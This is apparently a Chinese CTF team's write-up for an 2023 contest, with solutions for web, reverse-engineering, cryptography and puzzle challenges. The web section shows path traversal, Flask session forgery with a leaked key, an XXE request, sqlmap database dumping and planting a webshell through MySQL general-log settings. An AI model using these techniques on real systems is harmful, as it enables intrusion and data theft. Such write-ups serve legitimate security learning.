喜提牛马第23名,不过对于我来说尽力了。
主方向逆向、密码学都极限输出了、但是第二道同模的题差一个点没想通,没得写很难受。
已补题:
- 迷宫的dfs(属实脑子太累了没查出bug)
- babythread的解析
- CrazyTreat
目录
Web
CarelessPy
Confronting robot
Reverse
ez_cpp
babythread
3D_maze
Crypto
CrazyTreat
signin
Alexei needs help
Misc
sudoku_easy
烦人的压缩包
sudoku_speedrun
Web
CarelessPy
1.先大概看一下有哪几个功能
主界面有一个下载文件
"ctrl+u" 查看源代码发现两个页面 "/eval" 和 "/login"
2. 根据消息头 "Server: Werkzeug/1.0.1 Python/3.11.3"、 "/eval"回显是列表格式等判断是 "python flask", 且 "/eval" 使用了 "os.listdir()"函数,
3.用主界面下载文件功能下载 "/download?file=../../../flag" 和 "download?file=../app.py" 均被 "杂鱼"
4.下载 "/download?file=../../../app/__pycache__/part.cpython-311.pyc" 反编译查看 SECRET_KEY 伪造session,
Python #!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.11
import os import random import hashlib from flask import * from lxml import etree app = Flask(__name__) app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr' |
5. 进/login随便输入然后登陆
Shell # python3 flask_session_cookie_manager3.py encode -s 'o2takuXX_donot_like_ntr' -t "{'islogin': True}" eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I |
6.提示访问 "/th1s_1s_The_L4st_one"
7.简单的XXE
Shell GET /th1s_1s_The_L4st_one HTTP/1.1 Host: 47.108.165.60:37034 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJpc2xvZ2luIjp0cnVlfQ.ZIRGnA.z_rjwZz9VUGalSyoNK6fo_7Jv2I Connection: close Content-Length: 157
]>
杂鱼~ &xxe; |
Shell HTTP/1.0 200 OK Content-Type: text/xml;charset=UTF-8 Content-Length: 80 Vary: Cookie Server: Werkzeug/1.0.1 Python/3.11.3 Date: Sat, 10 Jun 2023 11:30:12 GMT
杂鱼~SYCTF{corrEC7_aNswER_c720bd6582bf} |
![安洵杯2023wp - ukfc战队_第1张图片](http://img.e-com-net.com/image/info8/6ae33b1ce2914984afd6f730108bd4b2.jpg)
Confronting robot
1. 经典单引号
Shell Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, bool given in /var/www/html/index.php on line 23 |
2.Sqlmap (别骂了我知道没有灵魂
Shell sqlmap -u http://47.108.165.60:47293/?myname=1 --dbs --batch sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data --tables --batch sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name --columns --batch
Database: robot_data Table: name [1 column] +----------+--------------+ | Column | Type | +----------+--------------+ | username | varchar(256) | +----------+--------------+ |
Shell sqlmap -u http://47.108.165.60:47293/?myname=1 -D robot_data -T name -C username --dump --batch
+-------------------------------------+ | username | +-------------------------------------+ | Hacker | | secret is in /sEcR@[email protected] | +-------------------------------------+ |
3.访问 "/sEcR@[email protected]" 发现几个可用页面
传输 POST 传code
开始挑战, 跳到game.php, 随便填几个RPS, 发现会跟 NULL 比值
Shell
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Fatal error: Uncaught TypeError: Argument 2 passed to loseorwin() must be of the type string, null given, called in /var/www/html/game.php on line 38 and defined in /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('R', NULL) #1 {main} thrown in /var/www/html/game.php on line 11 |
不传参也会跟 NULL 比值但是最后一句变无参了
Shell
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Notice: Trying to access array offset on value of type null in /var/www/html/game.php on line 31
Fatal error: Uncaught TypeError: Argument 2 passed to loseorwin() must be of the type string, null given, called in /var/www/html/game.php on line 38 and defined in /var/www/html/game.php:11 Stack trace: #0 /var/www/html/game.php(38): loseorwin('', NULL) #1 {main} thrown in /var/www/html/game.php on line 11 |
4.Sqlmap 爆code, 步骤就不放了level和risk都不用, 发现 "choice" 和 "round" 均空表, 再结合 "game.php" 会跟NULL 比值报错,
第一种想法是手动填写机器人的参数然后赢十回合得到flag。后经验证没写出来(我太菜了
Shell Database: game_data Table: game [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | choice | varchar(256) | | round | int(255) | +--------+--------------+ |
Shell Database: game_data Table: game [0 entries] +--------+ | choice | +--------+ +--------+ |
5.再看 "/sEcR@[email protected]" 传空参可以得到两个函数 "mysqli_query()" 和 "mysqli_fetch_all()", 试着写马传了一下, 然后sql日志写马
Shell show global variables like "%general%" |
发现有回显
Shell rray(2) { [0]=> array(2) { [0]=> string(11) "general_log" [1]=> string(3) "OFF" } [1]=> array(2) { [0]=> string(16) "general_log_file" [1]=> string(39) "web-pursue0h-robot-5754af205ee949e0.log" } } |
6.继续传发现 secure_file_priv 为空
Shell show global variables like '%secure%' |
Shell array(3) { [0]=> array(2) { [0]=> string(11) "secure_auth" [1]=> string(2) "ON" } [1]=> array(2) { [0]=> string(16) "secure_file_priv" [1]=> string(0) "" } [2]=> array(2) { [0]=> string(16) "secure_timestamp" [1]=> string(2) "NO" } } |
7.试着写马
Shell set global general_log='on' set global general_log_file='/var/www/html/shell.php' select '' |
访问 shell.php 发现Access denied , 试了好几个网页都不行, 那就写在 "/sEcR@[email protected]" 里
访问成功,蚁剑链接之后根目录没找见, 想起来 "game.php"
Shell if(isset($_GET['round1'])){ if($count==10){ echo "SYCTF{r06oT_rOboT_2ae2985843f4}"; } else{ echo "你输了"; } } |
![安洵杯2023wp - ukfc战队_第2张图片](http://img.e-com-net.com/image/info8/69e07ca7352549a6adab13281100b49a.jpg)
Reverse
ez_cpp
![安洵杯2023wp - ukfc战队_第3张图片](http://img.e-com-net.com/image/info8/3654a80164624419840fb6a95640a869.jpg)
- 逆着看:v14中存放的是密文,先爆破最后比较时的flag:
C++ int sub_181177(int a1,int a2) { int v2; // edx int v3; // edi int v4; // ebx
v2 = 0; v3 = 0; if (a2 > 0) { v4 = a2 - 1; do v2 |= ((a1 >> v3++) & 1) << v4--; while (v3 < a2); } return v2 + 1; }
unsigned char miwen[] = { 0x22, 0xA2, 0x72, 0xE6, 0x52, 0x8C, 0xF2, 0xD4, 0xA6, 0x0A, 0x3C, 0x24, 0xA6, 0x9C, 0x86, 0x24, 0x42, 0xD4, 0x22, 0xB6, 0x14, 0x42, 0xCE, 0xAC, 0x14, 0x6A, 0x2C, 0x7C, 0xE4, 0xE4, 0xE4, 0x1E, }; for (int i = 0; i < 32; i++) { for (int j = 32; j < 128; j++) { if ((1 ^ sub_181177(j, 8)) == miwen[i]) { printf("%c", j);//DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x } } } |
- 动调:这个flag经过两次加密,v19和v20对应的是加密函数的地址,(按g)。
C++ char miwen2[] = "DENgJ1O+eP<$e9a$B+Dm(Bs5(V4>'''x"; int v6[32] = { 0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0 }; int v4 = 0; for (int i = 0; i < 32; i++) {
if (v4 <= 16) { if (v4 >= 16) { miwen2[v4] ^= 4u; } else { int result = v6[v4]; if (result) { if (!--result) miwen2[v4] ^= 9u; } else { miwen2[v4] += 2; } } } else { int result = v6[v4]; if (result) { if (!--result) miwen2[v4] ^= 6u; } else { miwen2[v4] += 5; } } ++v4; } for (int i = 0; i < 32; i++) { printf("%c", miwen2[i]);//FLPnL3F-lR5-l0h-F0Ir-Gu3-P9C!!!} } |
v19:去花,将字母往后移13位,多出26的重头开始。
SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!} |
babythread
这题大概用了这些东西
1.rc4加密(对称加密,所以动调改输入的优先级大于仿写)
2.多线程特性,这题中创建的线程互相独立,所谓的key修改只在子线程他们自己里生效,对后续没有影响
3.利用tls回调函数的特性进行反调试和真正的key修改,这也是常考的一个点
这个题算是d3rc4的一个简化版
解题
- TLS回调函数一个反调试,一个静态读取str20位
C++ __CheckForDebuggerJustMyCode(&unk_F7D0F4); result = j_debugg(); if ( result ) sub_F7133E(1u); return result; |
C++ int __stdcall TlsCallback_1_0(int a1, int a2, int a3) //real key create { FILE *Stream; // [esp+D0h] [ebp-8h]
__CheckForDebuggerJustMyCode(&unk_F7D0F4); Stream = fopen("babyThread.exe", "rb"); if ( !Stream ) j_printf_0("Failed to open file %s\n", "babyThread.exe"); fseek(Stream, 77, 0); fread(Str, 1u, 20u, Stream); return fclose(Stream); } |
- 主逻辑的key生成函数会将str截断为16位,不过不重要,直接把密文cv到输入里调过去
![安洵杯2023wp - ukfc战队_第4张图片](http://img.e-com-net.com/image/info8/fd6dde5116634b38a35808c61204107c.jpg)
将输入修改为密文,动调到rc4异或位置提取明文即可,写个条件断点,要注意eax存的是数据的地址,不是数
![安洵杯2023wp - ukfc战队_第5张图片](http://img.e-com-net.com/image/info8/507508bac1ac44f388ed262c888df4e9.jpg)
SYC{Th1s_is_@_EasY_3ncryptO!!!!} |
3D_maze
一个6*10*10的三维迷宫,层穿梭是0124350,只有到达边界才能穿层,所以才有唯一解
为了让自己的努力显得有作用一点,贴一个没写明白的dfs,最后手推了一个小时
![安洵杯2023wp - ukfc战队_第6张图片](http://img.e-com-net.com/image/info8/243ade8ef56a4a0c9e0803b02a99fd59.jpg)
![安洵杯2023wp - ukfc战队_第7张图片](http://img.e-com-net.com/image/info8/9450e429a462451ebb996460a12e6679.jpg)
能解的dfs来了
a = [[0,1,0],[0,-1,0],[0,0,-1],[0,0,1]]
w = [0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,5,0,1,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
load = []
ans = [0 for i in range(600)]
def dfs(deep,x,y,z):
if deep > 64 or w[z*100+y*10+x] == 0 or x >= 10 or y >= 10 or z >= 6 or x < 0 or y < 0 or z < 0:
return
# 正确输出
if w[z*100+y*10+x] == 3 and deep == 62:
for i in load:
print(i,end='')
print()
return
# 平面走
for i in range(4):
z += a[i][0]
y += a[i][1]
x += a[i][2]
if w[z*100+y*10+x] != 0 and ans[z*100+y*10+x] == 0:
if i == 0:
load.append('s')
elif i == 1:
load.append('w')
elif i == 2:
load.append('a')
elif i == 3:
load.append('d')
ans[z*100+y*10+x] = 1
dfs(deep+1,x,y,z)
ans[z * 100 + y * 10 + x] = 0
load.pop()
z -= a[i][0]
y -= a[i][1]
x -= a[i][2]
# 穿层
if z == 2 and y == 0:
tempz = 4
tempx = 9
if w[tempz*100+y*10+tempx] != 0 and ans[tempz * 100 + y * 10 + tempx] == 0:
load.append('W')
ans[tempz * 100 + y * 10 + tempx] = 1
dfs(deep+1,tempx,y,tempz)
ans[tempz * 100 + y * 10 + tempx] = 0
load.pop()
return
elif z == 3 and y == 9:
tempz = 5
tempx = 0
tempy = 7
if w[tempz*100+tempy*10+tempx] != 0 and ans[tempz*100+tempy*10+tempx] == 0:
load.append('S')
ans[tempz * 100 + tempy * 10 + tempx] = 1
dfs(deep+1,tempx,tempy,tempz)
ans[tempz * 100 + tempy * 10 + tempx] = 0
load.pop()
return
elif z == 4 and x == 0:
tempz = 3
tempy = 0
tempx = 2
if w[tempz*100+tempy*10+tempx] != 0 and ans[tempz*100+tempy*10+tempx] == 0:
load.append('A')
ans[tempz * 100 + tempy * 10 + tempx] = 1
dfs(deep+1,tempx,tempy,tempz)
ans[tempz * 100 + tempy * 10 + tempx] = 0
load.pop()
return
elif z == 5 and y == 0:
tempz = 0
tempy = 9
if w[tempz*100+tempy*10+x] != 0 and ans[tempz*100+tempy*10+x] == 0:
load.append('W')
ans[tempz * 100 + tempy * 10 + x] = 1
dfs(deep+1,x,tempy,tempz)
ans[tempz * 100 + tempy * 10 + x] = 0
load.pop()
return
elif z == 1 and x == 9:
tempz = 2
tempx = 0
if w[tempz*100+y*10+tempx] != 0 and ans[tempz*100+y*10+tempx] == 0:
load.append('D')
ans[tempz*100+y*10+tempx] = 1
dfs(deep+1,tempx,y,tempz)
ans[tempz * 100 + y * 10 + tempx] = 0
load.pop()
return
elif z == 0 and x == 9:
tempz = 1
tempx = 0
if w[tempz * 100 + y * 10 + tempx] != 0 and ans[tempz * 100 + y * 10 + tempx] == 0:
load.append('D')
ans[tempz * 100 + y * 10 + tempx] = 1
dfs(deep + 1, tempx, y, tempz)
ans[tempz * 100 + y * 10 + tempx] = 0
load.pop()
return
if __name__ == '__main__':
dfs(0,2,7,0)
Crypto
CrazyTreat
对于pq
p的高位泄露,遍历爆破位即可
n = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
for i in range(1,256):
p = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
bits = i # bits为求解位数,比如已知312位p2,p为512位,bits = 200
PR. = PolynomialRing(Zmod(n))
f = x + p
roots = f.small_roots(X=2 ^ bits,beta = 0.4)
if roots:
print('P=',p+roots[0])
break
# P= 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
对于R
利用费马小定理构造一个多项式 (m-c1)*(m-c2)*(m-c3) = 0 求解
![](http://img.e-com-net.com/image/info8/3df19ec0dd6d4594a6e0ee07a1c07a37.jpg)
相当于每一个密文都泄露了一次m
C1 = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
C2 = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
C3 = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
R. = PolynomialRing(Zmod(n), implementation='NTL')
f = x**3 - (C1 + C2 + C3) * x**2 + (C1*C2 + C1*C3 + C2*C3) * x - C1*C2*C3
root = f.small_roots()
print(root)
rsa求解
import gmpy2
from Crypto.Util.number import *
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
P = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
Q = clown // P
R = 105960538296223496551922954965164644267919720177702173352061963871195469608683
n = P*Q*R
e = 65537
phi = (P-1)*(Q-1)*(R-1)
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
# b'SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}'
signin
Python #sage exp data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588 c = continued_fraction(data3) print(c) alist = c.convergents() print(alist) for i in alist: a = str(i).split('/') if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) : print(a)
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769'] |
Python import gmpy2 data1 =97093002077798295469816641595207740909547364338742117628537014186754830773717 data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769 phi = (data1-1) * (data2-1) d = gmpy2.invert(data1,phi) c = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628 m = pow(c,d ,data1 * data2) print(m) |
Python from z3 import * q = Real('q') p = Real('p') s = Solver() s.add(p-q == 57684649402353527014234479338961992571416462151551812296301705975419997474236) s.add(p*q == 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517) print(s.check()) print(s.model()) |
Python from Crypto.Util.number import * import gmpy2 q = 89050782851818876669770322556796705712770640993210984822169118425068336611139 p = 31366133449465349655535843217834713141354178841659172525867412449648339136903 n = p*q phi = (q-1) * (p-1) e = 65537 c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837 d = gmpy2.invert(e,phi) m = pow(c,d,n) data2 =67958620138887907577348085925738704755742144710390414146201367031822084270769 m -= data2 print(long_to_bytes(m)) |
SYC{a00338c150aa3a5163dbf404100e6754} |
Alexei needs help
Python import gmpy2 as gp import sys sys.setrecursionlimit(100000000)
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215 b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673 m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817 seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967] def seqsum(i): ans = 0 for j in range(len(seq)): ans += gp.powmod(i,j,m)*seq[j] return ans w1 = 1 w2 = 1 for i in range(3,2024): temp = (a * w2 + b * w1 + seqsum(i)) % m w1 = w2 w2 = temp print(i,temp) |
Python from Crypto.Cipher import AES from hashlib import md5 from binascii import *
ans = 5163247493229942514529178232067746640236155241995928925465164064900096952872519999937852442623769142690077270244871565985743169621852048447822749270628879 k = unhexlify(md5(str(ans).encode()).hexdigest()) m = b'37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'
w = unhexlify(m)
aes = AES.new(k, AES.MODE_ECB) res = aes.decrypt(w) print(res) |
SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b} |
Misc
sudoku_easy
Python def solve_sudoku(board): row, col = find_empty_cell(board) if row is None: return True # 数独已经解决 for num in range(1, 10): if is_valid_move(board, row, col, num): board[row][col] = num if solve_sudoku(board): return True board[row][col] = 0 # 回溯 return False
def find_empty_cell(board): for i in range(9): for j in range(9): if board[i][j] == 0: return i, j return None, None
def is_valid_move(board, row, col, num):
for i in range(9): if board[row][i] == num or board[i][col] == num: return False box_row = (row // 3) * 3 box_col = (col // 3) * 3 for i in range(box_row, box_row + 3): for j in range(box_col, box_col + 3): if board[i][j] == num: return False return True
sudoku_str = "000206000090000701386417002000070023900601540175304800019760005003000000807500214" board = [[int(sudoku_str[i*9+j]) for j in range(9)] for i in range(9)]
if solve_sudoku(board): for row in board: for i in row: print(i,end='') print() else: print("None") |
SYCTF{e4sY_c77e1acb8238_sUD0KUKUku} |
烦人的压缩包
- 使用工具爆破压缩包密码
![安洵杯2023wp - ukfc战队_第8张图片](http://img.e-com-net.com/image/info8/736a52fc37b547758fd416fec92eb92b.jpg)
- 得到的图片用binwalk分解
![安洵杯2023wp - ukfc战队_第9张图片](http://img.e-com-net.com/image/info8/ba0686ceab6249268b9ae69daf7b639b.jpg)
![安洵杯2023wp - ukfc战队_第10张图片](http://img.e-com-net.com/image/info8/209afaaa74ab4bfcbf8a30212576c995.jpg)
![安洵杯2023wp - ukfc战队_第11张图片](http://img.e-com-net.com/image/info8/3979be9e0eae4605bd33c6a85b49028c.jpg)
![安洵杯2023wp - ukfc战队_第12张图片](http://img.e-com-net.com/image/info8/8bf45423d01744049e7a2bb674bb3770.jpg)
SYC{Yxx_Say_Thank3Q_v3ry_much} |
sudoku_speedrun
- 和上面的数独题一样,不过只能写交互,pwn手直接秒了
C++ from pwn import * from ctypes import * io.recvuntil(b'> ') i = str('1') io.sendline(i.encode()) io.recvuntil(b'> ') i = str('7') io.sendline(i.encode()) mp=[] io.recvuntil(b'7\r\n') for j in range(9): if j%3==0: io.recvline() tmp=[] st=io.recvline() print('len:',hex(len(st))) for i in range(len(st)): if i==0: continue if st[i-1]==0x20 and st[i+1]==0x20: if chr(st[i])!='|': tmp.append(st[i]-0x30) if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d: tmp.append(0) print(tmp) mp.append(tmp) |
- 使用列表读入,由于字符较多所以得手动实现,写个判断某字符若两侧字符都为空格则该数字为数独上的数。
观察发现有很多的32m0,数一下得出结论,出现一次则有一个需要填数的地方。完成读入后输出检查。
C++ def isvalid(i,j): for m in range(9): if m!=i and mp[m][j]==mp[i][j]: return False for n in range(9): if n!=j and mp[i][n]==mp[i][j]: return False for m in range(i//3*3,i//3*3+3): for n in range(j//3*3,j//3*3+3): if m!=i and mp[m][n]==mp[i][j]: return False return True
def f(a,b): for i in range(a,9): for j in range(b,9): if mp[i][j]==0: for c in [1,2,3,4,5,6,7,8,9]: mp[i][j]=c if isvalid(i,j): if f(a,b): return True else: mp[i][j]=0 else: mp[i][j]=0 return False return True
f(0,0) # 利用深度优先搜索和合法判断函数,复杂度很高但是数独很小,肯定可以在限制时间内过掉。 发送细节: for i in range(9): print(mp[i])
for i in range(0,9): for j in range(0,9): io.send(chr(mp[i][j]+0x30)) io.send('d') io.send('s') |
Python from pwn import * context(log_level='debug')
io=remote('47.108.165.60',31570) io.recvuntil(b'> ') i = str('1') io.sendline(i.encode()) io.recvuntil(b'> ') i = str('7') io.sendline(i.encode()) mp=[] io.recvuntil(b'7\r\n') for j in range(9): if j%3==0: io.recvline() tmp=[] st=io.recvline() print('len:',hex(len(st))) for i in range(len(st)): if i==0: continue if st[i-1]==0x20 and st[i+1]==0x20: if chr(st[i])!='|': tmp.append(st[i]-0x30) if st[i]==0x33 and st[i+1]==0x32 and st[i+2]==0x6d: tmp.append(0) print(tmp) mp.append(tmp)
def isvalid(i,j): for m in range(9): if m!=i and mp[m][j]==mp[i][j]: return False for n in range(9): if n!=j and mp[i][n]==mp[i][j]: return False for m in range(i//3*3,i//3*3+3): for n in range(j//3*3,j//3*3+3): if m!=i and mp[m][n]==mp[i][j]: return False return True
def f(a,b): for i in range(a,9): for j in range(b,9): if mp[i][j]==0: for c in [1,2,3,4,5,6,7,8,9]: mp[i][j]=c if isvalid(i,j): if f(a,b): return True else: mp[i][j]=0 else: mp[i][j]=0 return False return True
f(0,0)
for i in range(9): print(mp[i])
for i in range(0,9): for j in range(0,9): io.send(chr(mp[i][j]+0x30)) io.send('d') io.send('s')
io.interactive() |